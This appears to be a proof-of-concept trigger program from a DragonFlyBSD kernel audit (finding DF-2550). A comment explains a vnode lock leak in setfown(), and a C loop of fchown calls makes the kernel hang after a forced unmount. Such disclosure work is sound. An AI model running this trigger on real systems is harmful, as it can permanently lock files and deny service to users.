DragonFlyBSD Kernel Audit
DF-2550 / trigger.c
← back to finding ↓ download raw
/*
 * DF-2550 trigger (poll-loop design): demonstrate the vnode lock+ref leak
 * in setfown() -- sys/kern/vfs_syscalls.c:3541-3543.
 *
 *   setfown(): vget(vp, LK_EXCLUSIVE)  [locks + refs]
 *              VOP_GETATTR(vp)         -> on failure: `return error` w/o vput
 *                                       => exclusive lock + reference LEAKED
 *
 * We open a file on a tmpfs and call fchown(fd) in a tight loop.  An external
 * actor (the driver, standing in for media-removal / NFS-death / admin
 * `umount -f`) force-unmounts the filesystem mid-loop.  After that the vnode's
 * v_op becomes dead_vnode_vops, whose vop_getattr = vop_ebadf -> EBADF.
 *
 * Observable signature:
 *   iteration N   : fchown -> rc=0                      (normal)
 *   iteration N+1 : fchown -> rc=-1 errno=9 (EBADF)     <- LEAK (vget ok,
 *                                                         VOP_GETATTR fails,
 *                                                         return w/o vput)
 *   iteration N+2 : fchown -> HANGS forever             <- DoS (vnode now
 *                                                         permanently locked
 *                                                         LK_EXCLUSIVE; vget
 *                                                         blocks on its own
 *                                                         leaked lock)
 *
 * Run as the unprivileged user (maxx, uid 1001).
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>

int main(int argc, char **argv) {
    const char *path = argv[1];
    int fd, rc, i;

    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    fd = open(path, O_RDONLY);
    if (fd < 0) { perror("open"); return 2; }
    fprintf(stderr, "[trigger] opened %s fd=%d uid=%d\n", path, fd, getuid());

    for (i = 0; i < 200; i++) {
        errno = 0;
        rc = fchown(fd, -1, -1);
        fprintf(stderr, "[trigger] iter %d: fchown rc=%d errno=%d (%s)\n",
                i, rc, errno, rc ? strerror(errno) : "ok");
        if (i > 3) usleep(300000);   /* slow down once steady-state reached */
    }
    fprintf(stderr, "[trigger] loop finished without hanging (bug NOT triggered)\n");
    return 0;
}